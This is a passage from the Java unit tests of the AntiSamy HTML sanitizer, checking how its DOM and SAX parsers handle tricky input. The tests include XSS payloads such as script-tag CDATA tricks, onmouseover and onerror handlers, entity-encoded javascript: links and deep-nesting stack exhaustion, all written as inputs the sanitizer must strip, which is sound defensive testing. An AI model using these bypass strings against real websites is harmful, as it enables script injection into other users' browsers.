keep.\n */\n String malInput = \"hello<p align='invalid'>world</p>\";", " CleanResults crd = as.scan(malInput, policy, AntiSamy.DOM);\n String crDom = crd.getCleanHTML();\n CleanResults crs = as.scan(malInput, policy, AntiSamy.SAX);\n String crSax = crs.getCleanHTML();", " assertTrue(!crSax.contains(\"invalid\"));\n assertTrue(!crDom.contains(\"invalid\"));", " assertTrue(crd.getErrorMessages().size() == 1);\n assertTrue(crs.getErrorMessages().size() == 1);", " String goodInput = \"hello<p align='left'>world</p>\";\n crDom = as.scan(goodInput, policy, AntiSamy.DOM).getCleanHTML();\n crSax = as.scan(goodInput, policy, AntiSamy.SAX).getCleanHTML();", " assertTrue(crSax.contains(\"left\"));\n assertTrue(crDom.contains(\"left\"));\n }", " @Test\n public void stackExhaustion() throws ScanException, PolicyException {\n /*\n * Test Julian Cohen's stack exhaustion bug.\n */", " StringBuilder sb = new StringBuilder();\n for (int i = 0; i < 249; i++) {\n sb.append(\"<div>\");\n }\n /*\n * First, make sure this attack is useless against the\n * SAX parser.\n */\n as.scan(sb.toString(), policy, AntiSamy.SAX);", " /*\n * Scan this really deep tree (depth=249, 1 less than the\n * max) and make sure it doesn't blow up.\n */", " CleanResults crd = as.scan(sb.toString(), policy, AntiSamy.DOM);", " String crDom = crd.getCleanHTML();\n assertTrue(crDom.length() != 0);\n /*\n * Now push it over the limit to 251 and make sure we blow\n * up safely.\n */\n sb.append(\"<div><div>\"); // this makes 251", " try {\n as.scan(sb.toString(), policy, AntiSamy.DOM);\n fail(\"DOM depth exceeded max - should've errored\");\n } catch (ScanException e) {\n // An error is expected. Pass\n }\n }", " @Test\n public void issue107() throws ScanException, PolicyException {\n StringBuilder sb = new StringBuilder();", " /*\n * #107 - erroneous newlines appearing? couldn't reproduce this\n * error but the test seems worthy of keeping.\n */\n String nl = \"\\n\";", " String header = \"<h1>Header</h1>\";\n String para = \"<p>Paragraph</p>\";\n sb.append(header);\n sb.append(nl);\n sb.append(para);", " String html = sb.toString();", " String crDom = as.scan(html, policy, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, policy, AntiSamy.SAX).getCleanHTML();", " /* Make sure only 1 newline appears */\n assertTrue(crDom.lastIndexOf(nl) == crDom.indexOf(nl));\n assertTrue(crSax.lastIndexOf(nl) == crSax.indexOf(nl));", " int expectedLoc = header.length();\n int actualLoc = crSax.indexOf(nl);\n assertTrue(expectedLoc == actualLoc);", " actualLoc = crDom.indexOf(nl);\n // account for line separator length difference across OSes.\n assertTrue(expectedLoc == actualLoc || expectedLoc == actualLoc + 1);\n }", " @Test\n public void issue112() throws ScanException, PolicyException {\n TestPolicy revised = policy.cloneWithDirective(Policy.PRESERVE_COMMENTS, \"true\").cloneWithDirective(Policy.PRESERVE_SPACE, \"true\").cloneWithDirective(Policy.FORMAT_OUTPUT, \"false\");", " /*\n * #112 - empty tag becomes self closing\n */", " String html = \"text <strong></strong> text <strong><em></em></strong> text\";", " String crDom = as.scan(html, revised, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, revised, AntiSamy.SAX).getCleanHTML();", " assertTrue(!crDom.contains(\"<strong />\") && !crDom.contains(\"<strong/>\"));\n assertTrue(!crSax.contains(\"<strong />\") && !crSax.contains(\"<strong/>\"));", " StringBuilder sb = new StringBuilder();\n sb.append(\"<html><head><title>foobar</title></head><body>\");\n sb.append(\"<img src=\\\"http://foobar.com/pic.gif\\\" /></body></html>\");", " html = sb.toString();", " Policy aTrue = revised.cloneWithDirective(Policy.USE_XHTML, \"true\");\n crDom = as.scan(html, aTrue, AntiSamy.DOM).getCleanHTML();\n crSax = as.scan(html, aTrue, AntiSamy.SAX).getCleanHTML();", " assertTrue(html.equals(crDom));\n assertTrue(html.equals(crSax));\n }", "\n @Test\n public void nestedCdataAttacks() throws ScanException, PolicyException {", " /*\n * Testing for nested CDATA attacks against the SAX parser.\n */", " String html = \"<![CDATA[]><script>alert(1)</script><![CDATA[]>]]><script>alert(2)</script>>]]>\";\n String crDom = as.scan(html, policy, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, policy, AntiSamy.SAX).getCleanHTML();\n assertTrue(!crDom.contains(\"<script>\"));\n assertTrue(!crSax.contains(\"<script>\"));\n }", " @Test\n public void issue101InternationalCharacterSupport() throws ScanException, PolicyException {\n Policy revised = policy.cloneWithDirective(Policy.ENTITY_ENCODE_INTL_CHARS, \"false\");", " String html = \"<b>letter 'a' with umlaut: \\u00e4\";\n String crDom = as.scan(html, revised, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, revised, AntiSamy.SAX).getCleanHTML();\n assertTrue(crDom.contains(\"\\u00e4\"));\n assertTrue(crSax.contains(\"\\u00e4\"));", " Policy revised2 = policy.cloneWithDirective(Policy.USE_XHTML, \"false\").cloneWithDirective(Policy.ENTITY_ENCODE_INTL_CHARS, \"true\");\n crDom = as.scan(html, revised2, AntiSamy.DOM).getCleanHTML();\n crSax = as.scan(html, revised2, AntiSamy.SAX).getCleanHTML();\n assertTrue(!crDom.contains(\"\\u00e4\"));\n assertTrue(crDom.contains(\"&auml;\"));\n assertTrue(!crSax.contains(\"\\u00e4\"));\n assertTrue(crSax.contains(\"&auml;\"));", " Policy revised3 = policy.cloneWithDirective(Policy.USE_XHTML, \"true\").cloneWithDirective(Policy.ENTITY_ENCODE_INTL_CHARS, \"true\");\n crDom = as.scan(html, revised3, AntiSamy.DOM).getCleanHTML();\n crSax = as.scan(html, revised3, AntiSamy.SAX).getCleanHTML();\n assertTrue(!crDom.contains(\"\\u00e4\"));\n assertTrue(crDom.contains(\"&auml;\"));\n assertTrue(!crSax.contains(\"\\u00e4\"));\n assertTrue(crSax.contains(\"&auml;\"));\n }", " @Test\n public void iframeAsReportedByOndrej() throws ScanException, PolicyException {\n String html = \"<iframe></iframe>\";", " Tag tag = new Tag(\"iframe\", Collections.<String, Attribute>emptyMap(), Policy.ACTION_VALIDATE);\n Policy revised = policy.addTagRule(tag);", " String crDom = as.scan(html, revised, AntiSamy.DOM).getCleanHTML();\n String crSax = as.scan(html, revised, AntiSamy.SAX).getCleanHTML();", " assertTrue(html.equals(crDom));\n assertTrue(html.equals(crSax));\n }", " /*\n\t * Tests cases dealing with nofollowAnchors directive. Assumes anchor tags\n\t * have an action set to \"validate\" (may be implicit) in the policy file.\n\t */\n @Test\n public void nofollowAnchors() throws ScanException, PolicyException {", " // if we have activated nofollowAnchors\n Policy revisedPolicy = policy.cloneWithDirective(Policy.ANCHORS_NOFOLLOW, \"true\");", " // adds when not present\n assertTrue(as.scan(\"<a href=\\\"blah\\\">link</a>\", revisedPolicy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\">link</a>\", revisedPolicy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // adds properly even with bad attr\n assertTrue(as.scan(\"<a href=\\\"blah\\\" bad=\\\"true\\\">link</a>\", revisedPolicy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\" bad=\\\"true\\\">link</a>\", revisedPolicy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // rel with bad value gets corrected\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"blh\\\">link</a>\", revisedPolicy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"blh\\\">link</a>\", revisedPolicy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // correct attribute doesn't get messed with\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // if two correct attributes, only one remaining after scan\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\" rel=\\\"nofollow\\\">link</a>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));\n assertTrue(as.scan(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\" rel=\\\"nofollow\\\">link</a>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<a href=\\\"blah\\\" rel=\\\"nofollow\\\">link</a>\"));", " // test if value is off - does it add?\n assertTrue(!as.scan(\"a href=\\\"blah\\\">link</a>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"nofollow\"));\n assertTrue(!as.scan(\"a href=\\\"blah\\\">link</a>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"nofollow\"));\n }", " @Test\n public void validateParamAsEmbed() throws ScanException, PolicyException {\n // activate policy setting for this test\n Policy revised = policy.cloneWithDirective(Policy.VALIDATE_PARAM_AS_EMBED, \"true\").cloneWithDirective(Policy.FORMAT_OUTPUT, \"false\").cloneWithDirective(Policy.USE_XHTML, \"true\");", " // let's start with a YouTube embed\n String input = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\"></embed></object>\";\n String expectedOutput = \"<object height=\\\"340\\\" width=\\\"560\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" /><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /><embed allowfullscreen=\\\"true\\\" allowscriptaccess=\\\"always\\\" height=\\\"340\\\" src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" type=\\\"application/x-shockwave-flash\\\" width=\\\"560\\\" /></object>\";\n CleanResults cr = as.scan(input, revised, AntiSamy.DOM);\n assertThat(cr.getCleanHTML(), containsString(expectedOutput));", " String saxExpectedOutput = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" /><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /><embed src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\" /></object>\";\n cr = as.scan(input, revised, AntiSamy.SAX);\n assertThat(cr.getCleanHTML(), equalTo(saxExpectedOutput));", " // now what if someone sticks malicious URL in the value of the\n // value attribute in the param tag? remove that param tag\n input = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://supermaliciouscode.com/badstuff.swf\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\"></embed></object>\";\n expectedOutput = \"<object height=\\\"340\\\" width=\\\"560\\\"><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /><embed allowfullscreen=\\\"true\\\" allowscriptaccess=\\\"always\\\" height=\\\"340\\\" src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" type=\\\"application/x-shockwave-flash\\\" width=\\\"560\\\" /></object>\";\n saxExpectedOutput = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /><embed src=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\" /></object>\";\n cr = as.scan(input, revised, AntiSamy.DOM);\n assertThat(cr.getCleanHTML(), containsString(expectedOutput));", " cr = as.scan(input, revised, AntiSamy.SAX);\n assertThat(cr.getCleanHTML(), equalTo(saxExpectedOutput));", " // now what if someone sticks malicious URL in the value of the src\n // attribute in the embed tag? remove that embed tag\n input = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&hl=en&fs=1&\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://hereswhereikeepbadcode.com/ohnoscary.swf\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"560\\\" height=\\\"340\\\"></embed></object>\";\n expectedOutput = \"<object height=\\\"340\\\" width=\\\"560\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" /><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /></object>\";\n saxExpectedOutput = \"<object width=\\\"560\\\" height=\\\"340\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/IyAyd4WnvhU&amp;hl=en&amp;fs=1&amp;\\\" /><param name=\\\"allowFullScreen\\\" value=\\\"true\\\" /><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\" /></object>\";", " cr = as.scan(input, revised, AntiSamy.DOM);\n assertThat(cr.getCleanHTML(), containsString(expectedOutput));\n CleanResults scan = as.scan(input, revised, AntiSamy.SAX);\n assertThat(scan.getCleanHTML(), equalTo(saxExpectedOutput));\n }", " @Test\n public void compareSpeedsShortStrings() throws IOException, ScanException, PolicyException {", " double totalDomTime = 0;\n double totalSaxTime = 0;", " int testReps = 1000;", " String html = \"<body> hey you <img/> out there on your own </body>\";", " for (int j = 0; j < testReps; j++) {\n totalDomTime += as.scan(html, policy, AntiSamy.DOM).getScanTime();\n totalSaxTime += as.scan(html, policy, AntiSamy.SAX).getScanTime();\n }", " System.out.println(\"Total DOM time short string: \" + totalDomTime);\n System.out.println(\"Total SAX time short string: \" + totalSaxTime);\n }", " @Test\n public void profileDom() throws IOException, ScanException, PolicyException {\n runProfiledTest(AntiSamy.DOM);\n }", " @Test\n public void profileSax() throws IOException, ScanException, PolicyException {\n runProfiledTest(AntiSamy.SAX);\n }", " private void runProfiledTest(int scanType) throws ScanException, PolicyException {\n double totalDomTime;", " warmup(scanType);", " int testReps = 9999;", " String html = \"<body> hey you <img/> out there on your own </body>\";", " Double each = 0D;\n int repeats = 10;\n for (int i = 0; i < repeats; i++) {\n totalDomTime = 0;\n for (int j = 0; j < testReps; j++) {\n totalDomTime += as.scan(html, policy, scanType).getScanTime();\n }\n each = each + totalDomTime;\n System.out.println(\"Total \" + (scanType == AntiSamy.DOM ? \"DOM\" : \"SAX\") + \" time 9999 reps short string: \" + totalDomTime);\n }\n System.out.println(\"Average time: \" + (each / repeats));\n }", " private void warmup(int scanType) throws ScanException, PolicyException {\n int warmupReps = 15000;", " String html = \"<body> hey you <img/> out there on your own </body>\";", " for (int j = 0; j < warmupReps; j++) {\n as.scan(html, policy, scanType).getScanTime();\n }\n }", " @Test\n public void comparePatternSpeed() throws IOException, ScanException, PolicyException {", " final Pattern invalidXmlCharacters =\n Pattern.compile(\"[\\\\u0000-\\\\u001F\\\\uD800-\\\\uDFFF\\\\uFFFE-\\\\uFFFF&&[^\\\\u0009\\\\u000A\\\\u000D]]\");", " int testReps = 10000;", " String html = \"<body> hey you <img/> out there on your own </body>\";", " String s = null;\n //long start = System.currentTimeMillis();\n for (int j = 0; j < testReps; j++) {\n s = invalidXmlCharacters.matcher(html).replaceAll(\"\");\n }\n //long total = System.currentTimeMillis() - start;", " //start = System.currentTimeMillis();\n Matcher matcher;\n for (int j = 0; j < testReps; j++) {\n matcher = invalidXmlCharacters.matcher(html);\n if (matcher.matches()) {\n s = matcher.replaceAll(\"\");\n }\n }\n //long total2 = System.currentTimeMillis() - start;", " assertNotNull(s);\n //System.out.println(\"replaceAllDirect \" + total);\n //System.out.println(\"match then replace: \" + total2);\n }", " @Test\n public void testOnsiteRegex() throws ScanException, PolicyException {\n \tassertIsGoodOnsiteURL(\"foo\");\n \tassertIsGoodOnsiteURL(\"/foo/bar\");\n \tassertIsGoodOnsiteURL(\"../../di.cgi?foo&amp;3D~\");\n \tassertIsGoodOnsiteURL(\"/foo/bar/1/sdf;jsessiond=1f1f12312_123123\");\n }\n \n void assertIsGoodOnsiteURL(String url) throws ScanException, PolicyException {\n \tString html = as.scan(\"<a href=\\\"\" + url + \"\\\">X</a>\", policy, AntiSamy.DOM).getCleanHTML();\n assertThat(html, containsString(\"href=\\\"\"));\n\t}\n \n\t@Test\n public void issue10() throws ScanException, PolicyException {\n \tassertFalse(as.scan(\"<a href=\\\"javascript&colon;alert&lpar;1&rpar;\\\">X</a>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertFalse(as.scan(\"<a href=\\\"javascript&colon;alert&lpar;1&rpar;\\\">X</a>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));\n }\n \n @Test\n public void issue147() throws ScanException, PolicyException {\n URL url = getClass().getResource(\"/antisamy-tinymce.xml\");", " Policy pol = Policy.getInstance(url);\n as.scan(\"<table><tr><td></td></tr></table>\", pol, AntiSamy.DOM);\n }", " @Test\n public void issue75() throws ScanException, PolicyException {\n URL url = getClass().getResource(\"/antisamy-tinymce.xml\");\n Policy pol = Policy.getInstance(url);\n as.scan(\"<script src=\\\"<. \\\">\\\"></script>\", pol, AntiSamy.DOM);\n as.scan(\"<script src=\\\"<. \\\">\\\"></script>\", pol, AntiSamy.SAX);\n }", " @Test\n public void issue144() throws ScanException, PolicyException {\n String pinata = \"pi\\u00f1ata\";\n CleanResults results = as.scan(pinata, policy, AntiSamy.DOM);\n String cleanHTML = results.getCleanHTML();\n assertEquals(pinata, cleanHTML);\n }", " @Test\n public void testWhitespaceNotBeingMangled() throws ScanException, PolicyException {\n String test = \"<select name=\\\"name\\\"><option value=\\\"Something\\\">Something</select>\";\n String expected = \"<select name=\\\"name\\\"><option value=\\\"Something\\\">Something</option></select>\";\n Policy preserveSpace = policy.cloneWithDirective( Policy.PRESERVE_SPACE, \"true\" );\n CleanResults preserveSpaceResults = as.scan(test, preserveSpace, AntiSamy.SAX);\n assertEquals( expected, preserveSpaceResults.getCleanHTML() );\n }", " @Test\n public void testDataTag159() throws ScanException, PolicyException {\n /* issue #159 - allow dynamic HTML5 data-* attribute */\n String good = \"<p data-tag=\\\"abc123\\\">Hello World!</p>\";\n String bad = \"<p dat-tag=\\\"abc123\\\">Hello World!</p>\";\n String goodExpected = \"<p data-tag=\\\"abc123\\\">Hello World!</p>\";\n String badExpected = \"<p>Hello World!</p>\";\n // test good attribute \"data-\"\n CleanResults cr = as.scan(good, policy, AntiSamy.SAX);\n String s = cr.getCleanHTML();\n assertEquals(goodExpected, s);\n cr = as.scan(good, policy, AntiSamy.DOM);\n s = cr.getCleanHTML();\n assertEquals(goodExpected, s);", " // test bad attribute \"dat-\"\n cr = as.scan(bad, policy, AntiSamy.SAX);\n s = cr.getCleanHTML();\n assertEquals(badExpected, s);\n cr = as.scan(bad, policy, AntiSamy.DOM);\n s = cr.getCleanHTML();\n assertEquals(badExpected, s);\n }", " @Test\n public void testXSSInAntiSamy151() throws ScanException, PolicyException {\n String test = \"<bogus>whatever</bogus><img src=\\\"https://ssl.gstatic.com/codesite/ph/images/defaultlogo.png\\\" \"\n + \"onmouseover=\\\"alert('xss')\\\">\";\n CleanResults results_sax = as.scan(test, policy, AntiSamy.SAX);\n CleanResults results_dom = as.scan(test, policy, AntiSamy.DOM);", " assertEquals( results_sax.getCleanHTML(), results_dom.getCleanHTML());\n assertEquals(\"whatever<img src=\\\"https://ssl.gstatic.com/codesite/ph/images/defaultlogo.png\\\" />\", results_dom.getCleanHTML());\n }", " @Test\n public void testAnotherXSS() throws ScanException, PolicyException {\n String test = \"<a href=\\\"http://example.com\\\"&amp;/onclick=alert(9)>foo</a>\";\n CleanResults results_sax = as.scan(test, policy, AntiSamy.SAX);\n CleanResults results_dom = as.scan(test, policy, AntiSamy.DOM);", " assertEquals( results_sax.getCleanHTML(), results_dom.getCleanHTML());\n assertEquals(\"<a href=\\\"http://example.com\\\" rel=\\\"nofollow\\\">foo</a>\", results_dom.getCleanHTML());\n }", " @Test\n public void testIssue2() throws ScanException, PolicyException {\n String test = \"<style onload=alert(1)>h1 {color:red;}</style>\";\n assertThat(as.scan(test, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"alert\")));\n assertThat(as.scan(test, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"alert\")));\n }\n \n /*\n * Mailing list user sent this in. Didn't work, but good test to leave in.\n */\n @Test\n public void testUnknownTags() throws ScanException, PolicyException {\n String test = \"<%/onmouseover=prompt(1)>\";\n CleanResults saxResults = as.scan(test, policy, AntiSamy.SAX);\n CleanResults domResults = as.scan(test, policy, AntiSamy.DOM);\n assertThat(saxResults.getCleanHTML(), not(containsString(\"<%/\")));\n assertThat(domResults.getCleanHTML(), not(containsString(\"<%/\")));\n }\n \n @Test\n public void testStreamScan() throws ScanException, PolicyException, InterruptedException, ExecutionException {\n String testImgSrcURL = \"<img src=\\\"https://ssl.gstatic.com/codesite/ph/images/defaultlogo.png\\\" \";\n Reader reader = new StringReader(\"<bogus>whatever</bogus>\" + testImgSrcURL + \"onmouseover=\\\"alert('xss')\\\">\");\n Writer writer = new StringWriter();\n as.scan(reader, writer, policy);\n String cleanHtml = writer.toString().trim();\n assertEquals(\"whatever\" + testImgSrcURL + \"/>\", cleanHtml);\n }\n \n @Test\n public void testGithubIssue23() throws ScanException, PolicyException {\n \t\n // Antisamy Stripping nested lists and tables\n \tString test23 = \"<ul><li>one</li><li>two</li><li>three<ul><li>a</li><li>b</li></ul></li></ul>\";\n \t// Issue claims you end up with this:\n \t// <ul><li>one</li><li>two</li><li>three<ul></ul></li><li>a</li><li>b</li></ul>\n \t// Meaning the <li>a</li><li>b</li> elements were moved outside of the nested <ul> list they were in\n \t\n \t// The a.replaceAll(\"\\\\s\",\"\") is used to strip out all the whitespace in the CleanHTML so we can successfully find\n \t// what we expect to find.\n assertThat(as.scan(test23, policy, AntiSamy.SAX).getCleanHTML().replaceAll(\"\\\\s\",\"\"), containsString(\"<ul><li>a</li>\"));\n assertThat(as.scan(test23, policy, AntiSamy.DOM).getCleanHTML().replaceAll(\"\\\\s\",\"\"), containsString(\"<ul><li>a</li>\"));\n \n // However, the test above can't replicate this misbehavior.\n }\n \n // TODO: This issue is a valid enhancement request we plan to implement in the future.\n // Commenting out the test case for now so test failures aren't included in a released version of AntiSamy.\n/* @Test\n public void testGithubIssue24() throws ScanException, PolicyException {\n \t\n // if we have onUnknownTag set to encode, it still strips out the @ and everything else after the it\n \t// DOM Parser actually rips out the entire <name@mail.com> value even with onUnknownTag set\n TestPolicy revisedPolicy = policy.cloneWithDirective(\"onUnknownTag\", \"encode\");", " \tString email = \"name@mail.com\";\n String test24 = \"firstname,lastname<\" + email + \">\";\n assertThat(as.scan(test24, revisedPolicy, AntiSamy.SAX).getCleanHTML(), containsString(email));\n assertThat(as.scan(test24, revisedPolicy, AntiSamy.DOM).getCleanHTML(), containsString(email));\n }\n*/\n @Test\n public void testGithubIssue26() throws ScanException, PolicyException {\n // Potential bypass (False positive)\n \tString test26 = \"&#x22;&#x3E;&#x3C;&#x69;&#x6D;&#x67;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x61;&#x20;&#x6F;&#x6E;&#x65;&#x72;&#x72;&#x6F;&#x72;&#x3D;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3E;\";\n \t// Issue claims you end up with this:\n \t// ><img src=a onerror=alert(1)>\n \t\n assertThat(as.scan(test26, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"<img src=a onerror=alert(1)>\")));\n assertThat(as.scan(test26, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"<img src=a onerror=alert(1)>\")));\n \n // But you actually end up with this: &quot;&gt;&lt;img src=a onerror=alert(1)&gt; -- Which is as expected\n }\n \n @Test\n public void testGithubIssue27() throws ScanException, PolicyException {\n \t// This test doesn't cause an ArrayIndexOutOfBoundsException, as reported in this issue even though it\n \t// replicates the test as described.\n String test27 = \"my &test\";\n assertThat(as.scan(test27, policy, AntiSamy.DOM).getCleanHTML(), containsString(\"test\"));\n assertThat(as.scan(test27, policy, AntiSamy.SAX).getCleanHTML(), containsString(\"test\"));\n }", "static final String test33 = \"<html>\\n\"\n \t + \"<head>\\n\"\n \t + \" <title>Test</title>\\n\"\n \t + \"</head>\\n\"\n \t + \"<body>\\n\"\n \t + \" <h1>Tricky Encoding</h1>\\n\"\n \t + \" <h2>NOT Sanitized by AntiSamy</h2>\\n\"\n \t + \" <ol>\\n\"\n \t + \" <li><a href=\\\"javascript&#00058x=alert,x%281%29\\\">X&#00058;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#00058y=alert,y%281%29\\\">X&#00058;y</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#58x=alert,x%281%29\\\">X&#58;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#58y=alert,y%281%29\\\">X&#58;y</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#x0003Ax=alert,x%281%29\\\">X&#x0003A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#x0003Ay=alert,y%281%29\\\">X&#x0003A;y</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#x3Ax=alert,x%281%29\\\">X&#x3A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#x3Ay=alert,y%281%29\\\">X&#x3A;y</a></li>\\n\"\n \t + \" </ol>\\n\"\n \t + \" <h1>Tricky Encoding with Ampersand Encoding</h1>\\n\"\n \t + \" <p>AntiSamy turns harmless payload into XSS by just decoding the encoded ampersands in the href attribute</a>\\n\"\n \t + \" <ol>\\n\"\n \t + \" <li><a href=\\\"javascript&amp;#x3Ax=alert,x%281%29\\\">X&amp;#x3A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&AMP;#x3Ax=alert,x%281%29\\\">X&AMP;#x3A;x</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#38;#x3Ax=alert,x%281%29\\\">X&#38;#x3A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#00038;#x3Ax=alert,x%281%29\\\">X&#00038;#x3A;x</a></li>\\n\"", " \t + \" <li><a href=\\\"javascript&#x26;#x3Ax=alert,x%281%29\\\">X&#x26;#x3A;x</a></li>\\n\"\n \t + \" <li><a href=\\\"javascript&#x00026;#x3Ax=alert,x%281%29\\\">X&#x00026;#x3A;x</a></li>\\n\"\n \t + \" </ol>\\n\"\n \t + \" <p><a href=\\\"javascript&#x3Ax=alert,x%281%29\\\">Original without ampersand encoding</a></p>\\n\"\n \t + \"</body>\\n\"\n \t + \"</html>\";\n \t\t\t\n @Test\n public void testGithubIssue33() throws ScanException, PolicyException {\n \t\n // Potential bypass", " // Issue claims you end up with this:\n // javascript:x=alert and other similar problems (javascript&#00058x=alert,x%281%29) but you don't.\n // So issue is a false positive and has been closed.\n //System.out.println(as.scan(test33, policy, AntiSamy.SAX).getCleanHTML());", " assertThat(as.scan(test33, policy, AntiSamy.SAX).getCleanHTML(), not(containsString(\"javascript&#00058x=alert,x%281%29\")));\n assertThat(as.scan(test33, policy, AntiSamy.DOM).getCleanHTML(), not(containsString(\"javascript&#00058x=alert,x%281%29\")));\n }\n \n // TODO: This issue is a valid enhancement request. We are trying to decide whether to implement in the future.\n // Commenting out the test case for now so test failures aren't included in a released version of AntiSamy.\n/*\n @Test\n public void testGithubIssue34a() throws ScanException, PolicyException {", " \t// bypass stripNonValidXMLCharacters\n \t// Issue indicates: \"<div>Hello\\\\uD83D\\\\uDC95</div>\" should be sanitized to: \"<div>Hello</div>\"\n \t\n String test34a = \"<div>Hello\\uD83D\\uDC95</div>\";\n assertEquals(\"<div>Hello</div>\", as.scan(test34a, policy, AntiSamy.SAX).getCleanHTML());\n assertEquals(\"<div>Hello</div>\", as.scan(test34a, policy, AntiSamy.DOM).getCleanHTML());\n }", " @Test\n public void 